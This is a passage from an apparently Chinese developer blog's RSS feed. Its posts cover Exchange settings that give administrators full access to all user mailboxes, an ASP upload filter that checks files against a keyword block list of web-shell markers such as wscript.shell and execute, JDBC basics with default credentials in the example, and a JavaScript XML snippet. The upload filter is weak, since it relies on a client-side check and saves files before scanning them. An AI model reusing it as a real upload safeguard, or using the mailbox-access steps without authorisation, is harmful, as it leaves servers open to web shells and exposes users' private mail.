&lt;/span&gt;&lt;span&gt;管理员&lt;/span&gt;&lt;span&gt;&amp;rdquo;&lt;/span&gt;&lt;span&gt;中的安全选项卡。&lt;/span&gt;&lt;span&gt; &lt;br&gt;&lt;/span&gt;&lt;span&gt;运行注册表编辑器&lt;/span&gt;&lt;span&gt;regedit.exe. &lt;br&gt;&lt;/span&gt;&lt;span&gt;在&lt;/span&gt;&lt;span&gt;HKEY_CURRENT_USER_Software_&lt;span class="ttag"&gt;Microsoft_&lt;/span&gt;Exchange_ExAdmin &lt;/span&gt;&lt;span&gt;项下添加：&lt;/span&gt;&lt;span&gt; &lt;br&gt;&lt;/span&gt;&lt;span&gt;名称&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;span&gt;ShowSecurityPage&lt;br&gt;&lt;/span&gt;&lt;span&gt;类型：&lt;/span&gt;&lt;span&gt;REG_DWORD &lt;br&gt;&lt;/span&gt;&lt;span&gt;键值：&lt;/span&gt;&lt;span&gt;1 &lt;br&gt;&lt;/span&gt;&lt;span&gt;如下图所示，修改后立即生效。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910958593.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;br&gt;2&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;此时可以看到在&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;系统管理器－服务器－&lt;/span&gt;&lt;span&gt;Berlin&lt;/span&gt;&lt;span&gt;－第一个存储组&lt;/span&gt; &lt;span&gt;右键属性上看到安全选项。&lt;/span&gt; &lt;span&gt;在访问控制列表中清除管理员继承的拒绝权限。&lt;/span&gt; &lt;span&gt;如下图所示，&lt;/span&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;这样可确保管理员对所有邮箱都具有完全控制权限，否则管理员只能查看自己的邮箱。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910995921.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209911006578.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209911042875.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;br&gt;3 &lt;/span&gt;&lt;span&gt;建立一个&lt;/span&gt;&lt;span&gt;EXIFS &lt;/span&gt;&lt;span&gt;（&lt;/span&gt;&lt;span&gt;Exchange Installable File System driver&lt;/span&gt;&lt;span&gt;）盘符，可以通过建立一个注册表项来完成：&lt;/span&gt;&lt;span&gt; &lt;br&gt;HKEY_LOCAL_MACHINE_SYSTEM_CurrentControlSet_Services_EXIFS_Parameters &lt;br&gt;&lt;/span&gt;&lt;span&gt;名称：&lt;/span&gt;&lt;span&gt;DriveLetter &lt;br&gt;&lt;/span&gt;&lt;span&gt;类型：&lt;/span&gt;&lt;span&gt;REG_SZ &lt;br&gt;&lt;/span&gt;&lt;span&gt;键值：&lt;/span&gt;&lt;span&gt;M &lt;br&gt;&lt;/span&gt;&lt;span&gt;如下图所示：不一定非得&lt;/span&gt;&lt;span&gt;M,&lt;/span&gt;&lt;span&gt;可以自己指定一个盘符，改完后重新启动&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;服务器或者重新启动&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;服务也可以，用&lt;/span&gt;&lt;span&gt; net stop&lt;span&gt;  &lt;/span&gt;exifs&lt;/span&gt;&lt;span&gt;命令停止&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;服务，值得注意的是，&amp;ldquo;&lt;/span&gt;&lt;span&gt;Microsoft Exchange Information Store&lt;/span&gt;&lt;span&gt;&amp;rdquo;服务依赖&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;服务，所以停止&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;后，&amp;ldquo;&lt;/span&gt;&lt;span&gt;Microsoft Exchange Information Store&lt;/span&gt;&lt;span&gt;&amp;rdquo;也会跟着停止。用&lt;/span&gt;&lt;span&gt; net start&lt;span&gt;  &lt;/span&gt;exifs&lt;/span&gt;&lt;span&gt;启动&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;服务，然后手工启动&amp;ldquo;&lt;/span&gt;&lt;span&gt;Microsoft Exchange Information Store&lt;/span&gt;&lt;span&gt;&amp;rdquo;。这时在我的电脑中就可以看到多了一个&lt;/span&gt;&lt;span&gt;M&lt;/span&gt;&lt;span&gt;盘。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209911101953.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;br&gt;4 &lt;/span&gt;&lt;span&gt;现在管理员可以访问&lt;/span&gt;&lt;span&gt;M:/Exchtest.com/MBX/&lt;/span&gt;&lt;span&gt;下的用户目录了，如下图所示：&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209911113015.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;可以运行一下脚本来把邮箱中的英文文件夹改为中文。下面这段脚本作者是&lt;/span&gt;&lt;strong&gt;&lt;span&gt;&lt;a href="http://www.msexchange.org/Amit_Zinman/"&gt;Amit Zinman&lt;/a&gt;,&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;一位令人尊敬的&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;大师！&lt;/span&gt;&lt;/strong&gt;&lt;span&gt;&lt;br&gt;dim fso, shell &lt;br&gt;set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;) &lt;br&gt;runThem(&amp;quot;Z:&amp;quot;) &lt;br&gt;set fso = nothing &lt;br&gt;wscript.quit &lt;br&gt;Sub runThem(xPath) &lt;br&gt;Dim S &lt;br&gt;Set f = fso.GetFolder( xPath ) &lt;br&gt;For Each Folder In f.SubFolders &lt;br&gt;S = folder.name &lt;br&gt;Select Case S &lt;br&gt;Case &amp;quot;Inbox&amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;收件箱&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Contacts &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span class="ttag"&gt;&lt;span&gt;联系人&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Drafts &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;草稿&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Journal &amp;quot; &lt;br&gt;folder.name = &amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;日记&lt;/span&gt;&lt;span&gt; &lt;br&gt;Case &amp;quot; Calendar &amp;quot; &lt;br&gt;folder.name = &amp;quot; &lt;/span&gt;&lt;span&gt;日历&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Tasks &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;任务&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Sent Items &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;已发送&lt;span class="ttag"&gt;邮件&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Deleted Items &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;已删除邮件&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Notes &amp;quot; &lt;br&gt;folder.name = &amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;便笺&lt;/span&gt;&lt;span&gt; &lt;br&gt;Case &amp;quot; Outbox &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span&gt;发件箱&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;Case &amp;quot; Junk E-&lt;span class="ttag"&gt;Mail&lt;/span&gt; &amp;quot; &lt;br&gt;folder.name = &amp;quot;&lt;/span&gt;&lt;span class="ttag"&gt;&lt;span&gt;垃圾邮件&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;quot; &lt;br&gt;End Select &lt;br&gt;Call runThem(Folder) &lt;br&gt;Next 'Folder &lt;br&gt;End Sub &lt;br&gt;&lt;/span&gt;&lt;span&gt;任务完成，现在所有用户登录&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;后都是中文界面。&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=147</guid><pubDate>Mon, 23 Jun 2008 14:47:00 GMT</pubDate></item><item><title>[ASP]防止上传伪装成图片的网页木马</title><link>http://www.chendw.cn:8080/view.aspx?id=146</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;今天逛看了下公司N年前为客户的一个网站服务器，不看不知道一看吓一跳，在图片上传的文件夹里找到好多伪装成图片的木马。&lt;/p&gt;&lt;p&gt;既然知道有漏洞了，那怎么说也得给补上。&lt;/p&gt;&lt;p&gt;防止图片木马有两方面&lt;/p&gt;&lt;p&gt;1、在客户选择文件后判断文件类型，即后缀名是否符合。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; var sExt = document.getElementById(&amp;quot;file&amp;quot;).value;&lt;br&gt;&amp;nbsp;&amp;nbsp; sExt = sExt.substr(sExt.lastIndexOf(&amp;quot;.&amp;quot;)+1,sExt.length);&lt;br&gt;&amp;nbsp;&amp;nbsp; sExt = sExt.toLowerCase();&lt;br&gt;&amp;nbsp;&amp;nbsp; var sDome = &amp;quot;|jpg|gif|png|bmg|jpge|&amp;quot;&lt;br&gt;&amp;nbsp;&amp;nbsp; if(sDome.indexOf(sExt)==-1){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  alert(&amp;quot;指定的文件格式不正确！&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  return;&lt;/p&gt;&lt;p&gt;  ｝&lt;/p&gt;&lt;p&gt;2、在服务端判断，上传的文件类型是否与后缀名相同。&lt;/p&gt;&lt;p&gt; file.SaveAs Server.mappath(FilePath)&amp;nbsp;&amp;nbsp;&amp;nbsp;  '只有先把文件保存后才能判断是否为非法文件&lt;br&gt; &lt;br&gt; CheckFileType(Server.mappath(FilePath))  '检测文件类型是否符合，否者将删除上传的文件&lt;/p&gt;function CheckFileType(filename) &lt;br&gt; set MyFile = server.CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br&gt; set MyText = MyFile.OpenTextFile(filename, 1) '读取文本文件&lt;br&gt; sTextAll = lcase(MyText.ReadAll)&lt;br&gt; MyText.close&lt;br&gt; set MyFile = nothing&lt;br&gt; sStr=&amp;quot;&amp;lt;%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=&amp;quot;&lt;br&gt; sNoString = split(sStr,&amp;quot;|&amp;quot;) &lt;br&gt; for i=0 to ubound(sNoString)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if instr(sTextAll,sNoString(i)) then&lt;br&gt;&amp;nbsp;&amp;nbsp;  set filedel = server.CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br&gt;&amp;nbsp;&amp;nbsp;  filedel.deletefile filename&lt;br&gt;&amp;nbsp;&amp;nbsp;  set filedel = nothing&lt;br&gt;&amp;nbsp;&amp;nbsp;  Response.Write(&amp;quot;&amp;lt;script&amp;gt;alert('您上传的文件有问题，上传失败');window.close();&amp;lt;/script&amp;gt;&amp;quot;)&lt;br&gt;&amp;nbsp;&amp;nbsp;  Response.End()&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  end if&lt;br&gt; next&lt;br&gt;end function&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=146</guid><pubDate>Fri, 20 Jun 2008 04:41:00 GMT</pubDate></item><item><title>[数据库]JAVA数据库基本操作指南</title><link>http://www.chendw.cn:8080/view.aspx?id=145</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;今天做了件替人擦屁股的事，由于公司不知道是多少年前的前辈写的一个代码，操作完数据库后都不关闭，导致网站运行时间一久就导致数据库链接数达到饱和。只能一个个查看100多个页面的代码逐一去关闭（BS下）。&lt;/p&gt;&lt;p&gt;其他语言的数据库操作流程都一样，下面贴个标准的大家参考下，少走弯路。&lt;/p&gt;&lt;p&gt;数据库基本操作&lt;/p&gt;&lt;p&gt;　　1、java数据库操作基本流程&lt;/p&gt;&lt;p&gt;　　2、几个常用的重要技巧：&lt;/p&gt;&lt;p&gt;　　·可滚动、更新的记录集&lt;/p&gt;&lt;p&gt;　　·批量更新&lt;/p&gt;&lt;p&gt;　　·事务处理&lt;/p&gt;&lt;p&gt;　　java数据库操作基本流程：取得数据库连接 - 执行sql语句 - 处理执行结果 - 释放数据库连接&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;1、取得数据库连接&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　1)用DriverManager取数据库连接&lt;/p&gt;&lt;p&gt;　　例子&lt;/p&gt;&lt;p&gt;　　String className,url,uid,pwd;&lt;/p&gt;&lt;p&gt;　　className = &amp;quot;oracle.jdbc.driver.OracleDriver&amp;quot;;&lt;/p&gt;&lt;p&gt;　　url = &amp;quot;jdbc:oracle:thin:@127.0.0.1:1521:orasvr;&lt;/p&gt;&lt;p&gt;　　uid = &amp;quot;system&amp;quot;;&lt;/p&gt;&lt;p&gt;　　pwd = &amp;quot;manager&amp;quot;;&lt;/p&gt;&lt;p&gt;　　Class.forName(className);&lt;/p&gt;&lt;p&gt;　　Connection cn = DriverManager.getConnection(url,uid,pwd);&lt;/p&gt;&lt;p&gt;　　2)用jndi(java的命名和目录服务)方式&lt;/p&gt;&lt;p&gt;　　例子&lt;/p&gt;&lt;p&gt;　　String jndi = &amp;quot;jdbc/db&amp;quot;;&lt;/p&gt;&lt;p&gt;　　Context ctx = (Context) new InitialContext().lookup(&amp;quot;java:comp/env&amp;quot;);&lt;/p&gt;&lt;p&gt;　　DataSource ds = (DataSource) ctx.lookup(jndi);&lt;/p&gt;&lt;p&gt;　　Connection cn = ds.getConnection();&lt;/p&gt;&lt;p&gt;　　多用于jsp中&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;2、执行sql语句&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　1)用Statement来执行sql语句&lt;/p&gt;&lt;p&gt;　　String sql;&lt;/p&gt;&lt;p&gt;　　Statement sm = cn.createStatement();&lt;/p&gt;&lt;p&gt;　　sm.executeQuery(sql); // 执行数据查询语句(select)&lt;/p&gt;&lt;p&gt;　　sm.executeUpdate(sql); // 执行数据更新语句(delete、update、insert、drop等)statement.close();&lt;/p&gt;&lt;p&gt;　　2)用PreparedStatement来执行sql语句&lt;/p&gt;&lt;p&gt;　　String sql;&lt;/p&gt;&lt;p&gt;　　sql = &amp;quot;insert into user (id,name) values (?,?)&amp;quot;;&lt;/p&gt;&lt;p&gt;　　PreparedStatement ps = cn.prepareStatement(sql);&lt;/p&gt;&lt;p&gt;　　ps.setInt(1,xxx);&lt;/p&gt;&lt;p&gt;　　ps.setString(2,xxx);&lt;/p&gt;&lt;p&gt;　　...&lt;/p&gt;&lt;p&gt;　　ResultSet rs = ps.executeQuery(); // 查询&lt;/p&gt;&lt;p&gt;　　int c = ps.executeUpdate(); // 更新&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;3、处理执行结果&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　查询语句，返回记录集ResultSet&lt;/p&gt;&lt;p&gt;　　更新语句，返回数字，表示该更新影响的记录数&lt;/p&gt;&lt;p&gt;　　ResultSet的方法&lt;/p&gt;&lt;p&gt;　　1、next()，将游标往后移动一行，如果成功返回true;否则返回false&lt;/p&gt;&lt;p&gt;　　2、getInt(&amp;quot;id&amp;quot;)或getSting(&amp;quot;name&amp;quot;)，返回当前游标下某个字段的值&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;&lt;font color="#ff0000"&gt;4、释放连接(&amp;nbsp;&amp;nbsp;  一定不要忘了 :）  )&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　cn.close();&lt;/p&gt;&lt;p&gt;　　一般，先关闭ResultSet，然后关闭Statement(或者PreparedStatement);最后关闭Connection&lt;/p&gt;&lt;p&gt;　　可滚动、更新的记录集&lt;/p&gt;&lt;p&gt;　　1、创建可滚动、更新的Statement&lt;/p&gt;&lt;p&gt;　　Statement sm = cn.createStatement(ResultSet.TYPE_SCROLL_ENSITIVE,ResultSet.CONCUR_READ_ONLY);&lt;/p&gt;&lt;p&gt;　　该Statement取得的ResultSet就是可滚动的&lt;/p&gt;&lt;p&gt;　　2、创建PreparedStatement时指定参数&lt;/p&gt;&lt;p&gt;　　PreparedStatemet ps = cn.prepareStatement(sql,ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);&lt;/p&gt;&lt;p&gt;　　ResultSet.absolute(9000);&lt;/p&gt;&lt;p&gt;　　·批量更新&lt;/p&gt;&lt;p&gt;　　1、Statement&lt;/p&gt;&lt;p&gt;　　Statement sm = cn.createStatement();&lt;/p&gt;&lt;p&gt;　　sm.addBatch(sql1);&lt;/p&gt;&lt;p&gt;　　sm.addBatch(sql2);&lt;/p&gt;&lt;p&gt;　　...&lt;/p&gt;&lt;p&gt;　　sm.executeBatch()&lt;/p&gt;&lt;p&gt;　　一个Statement对象，可以执行多个sql语句以后，批量更新。这多个语句可以是delete、update、insert等或兼有&lt;/p&gt;&lt;p&gt;　　2、PreparedStatement&lt;/p&gt;&lt;p&gt;　　PreparedStatement ps = cn.preparedStatement(sql);&lt;/p&gt;&lt;p&gt;　　{&lt;/p&gt;&lt;p&gt;　　ps.setXXX(1,xxx);&lt;/p&gt;&lt;p&gt;　　...&lt;/p&gt;&lt;p&gt;　　ps.addBatch();&lt;/p&gt;&lt;p&gt;　　}&lt;/p&gt;&lt;p&gt;　　ps.executeBatch();&lt;/p&gt;&lt;p&gt;　　一个PreparedStatement，可以把一个sql语句，变换参数多次执行，一次更新。&lt;/p&gt;&lt;p&gt;　　·事务的处理&lt;/p&gt;&lt;p&gt;　　1、关闭Connection的自动提交&lt;/p&gt;&lt;p&gt;　　cn.setAutoCommit(false);&lt;/p&gt;&lt;p&gt;　　2、执行一系列sql语句&lt;/p&gt;&lt;p&gt;　　要点：执行每一个新的sql语句前，上一次执行sql语句的Statement(或者PreparedStatemet)必须先close&lt;/p&gt;&lt;p&gt;　　Statement sm ;&lt;/p&gt;&lt;p&gt;　　sm = cn.createStatement(insert into user...);&lt;/p&gt;&lt;p&gt;　　sm.executeUpdate();&lt;/p&gt;&lt;p&gt;　　sm.close();&lt;/p&gt;&lt;p&gt;　　sm = cn.createStatement(&amp;quot;insert into corp...);&lt;/p&gt;&lt;p&gt;　　sm.executeUpdate();&lt;/p&gt;&lt;p&gt;　　sm.close();&lt;/p&gt;&lt;p&gt;　　3、提交&lt;/p&gt;&lt;p&gt;　　cn.commit();&lt;/p&gt;&lt;p&gt;　　4、如果发生异常，那么回滚&lt;/p&gt;&lt;p&gt;　　cn.rollback();&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=145</guid><pubDate>Wed, 18 Jun 2008 15:34:00 GMT</pubDate></item><item><title>[JS]兼容IE和Firefox的JS代码</title><link>http://www.chendw.cn:8080/view.aspx?id=144</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;用到了zxml库，搞了很久、也百度了很久才把兼容的问题解决，直接放代码基于jquery框架的自己看吧。&lt;/p&gt;&lt;p&gt;下载地址:&lt;a target="_blank" href="http://www.nczonline.net/downloads/zXml.zip"&gt;http://www.nczonline.net/downloads/zXml.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;xml文件内容 &lt;br&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; ?&amp;gt;&lt;br&gt;&amp;lt;Report action=&amp;quot;new&amp;quot;&amp;gt;&lt;br&gt; &amp;lt;Titles alias=&amp;quot;导航栏目&amp;quot;  name =&amp;quot;subject&amp;quot;&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;Id&amp;quot; alias=&amp;quot;编号&amp;quot; type=&amp;quot;int&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;name&amp;quot; alias=&amp;quot;栏目名称&amp;quot; type=&amp;quot;string&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;parentid&amp;quot; alias=&amp;quot;父节点&amp;quot; type=&amp;quot;int&amp;quot; /&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;px&amp;quot; alias=&amp;quot;排序&amp;quot; type=&amp;quot;int&amp;quot; /&amp;gt;&lt;br&gt; &amp;lt;/Titles&amp;gt;&lt;br&gt;&amp;lt;/Report&amp;gt;&lt;/p&gt;&lt;p&gt;程序部分&lt;/p&gt;&lt;p&gt;function doInitData(){&lt;br&gt;  var oDoc = zXmlDom.createDocument();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //使用zxml库创建xml&lt;br&gt;  oDoc.async = false;&lt;br&gt;  oDoc.load(&amp;quot;xml/subject.xml&amp;quot;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //加载xml&lt;br&gt;  var oRoot = oDoc.documentElement&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //加载XML函数&lt;br&gt;  oRoot.setAttribute(&amp;quot;action&amp;quot;,&amp;quot;show&amp;quot;)&lt;br&gt;  $.ajax({&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  url:  &amp;quot;service/dealData.asp&amp;quot;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //服务端处理程序&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  type: &amp;quot;POST&amp;quot;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  async: false,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  data: oReport.xml,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //传递到服务端的数据&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  success: comeback&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //当请求成功时调用的函数&lt;br&gt;  });&lt;br&gt;  function comeback(sXML){&lt;br&gt;&amp;nbsp;&amp;nbsp;  var oDoc = zXmlDom.createDocument();&lt;br&gt;&amp;nbsp;&amp;nbsp;  oDoc.async = false;&lt;br&gt;&amp;nbsp;&amp;nbsp;  oDoc.loadXML(sXML);&lt;br&gt;&amp;nbsp;&amp;nbsp;  oRoot = oDoc.documentElement;&lt;br&gt;&amp;nbsp;&amp;nbsp;  var oResult = zXPath.selectSingleNode(oRoot,&amp;quot;//Result&amp;quot;,null);&lt;br&gt;&amp;nbsp;&amp;nbsp;  if(oResult.childNodes.length==0){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  alert(&amp;quot;不存在该记录，可能已被删除！&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  return;&lt;br&gt;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;  showInitData(oRoot);&lt;br&gt;  }  &lt;br&gt; }&lt;br&gt;/*&lt;br&gt; * 处理返回的xml数据&lt;br&gt; * 返回的xml格式&lt;br&gt; &amp;lt;Report action=&amp;quot;show&amp;quot; pageno=&amp;quot;1&amp;quot; pagesize=&amp;quot;15&amp;quot; condition=&amp;quot; id=15&amp;quot; sessionId=&amp;quot;414137018&amp;quot; curDate=&amp;quot;6/14/2008&amp;quot;&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Titles alias=&amp;quot;导航栏目&amp;quot; name=&amp;quot;subject&amp;quot;&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;Id&amp;quot; alias=&amp;quot;编号&amp;quot; type=&amp;quot;int&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;name&amp;quot; alias=&amp;quot;栏目名称&amp;quot; type=&amp;quot;string&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;parentid&amp;quot; alias=&amp;quot;父节点&amp;quot; type=&amp;quot;int&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;Title name=&amp;quot;px&amp;quot; alias=&amp;quot;排序&amp;quot; type=&amp;quot;int&amp;quot;/&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;/Titles&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;Result&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;R&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;C&amp;gt;15&amp;lt;/C&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;C&amp;gt;国内医学新闻&amp;lt;/C&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;C&amp;gt;10&amp;lt;/C&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;C&amp;gt;99999&amp;lt;/C&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/R&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;/Result&amp;gt;&lt;br&gt; &amp;lt;/Report&amp;gt;&lt;br&gt;*/&lt;br&gt;function showInitData(oRoot){&lt;br&gt;  var oTitles = zXPath.selectSingleNode(oRoot,&amp;quot;//Titles&amp;quot;,null)&lt;br&gt;  //选中Titles节点&lt;br&gt;  var oResult = zXPath.selectSingleNode(oRoot,&amp;quot;//Result&amp;quot;,null)&lt;br&gt;  //选中Result节点&lt;br&gt;  var iLength = oResult.childNodes.length;&lt;br&gt;  if(iLength &amp;gt; 0){&lt;br&gt;&amp;nbsp;&amp;nbsp;  for(i=0,j=0;i&amp;lt;oTitles.childNodes.length;i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var oTitle = oTitles.childNodes.item(i);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var oRec = 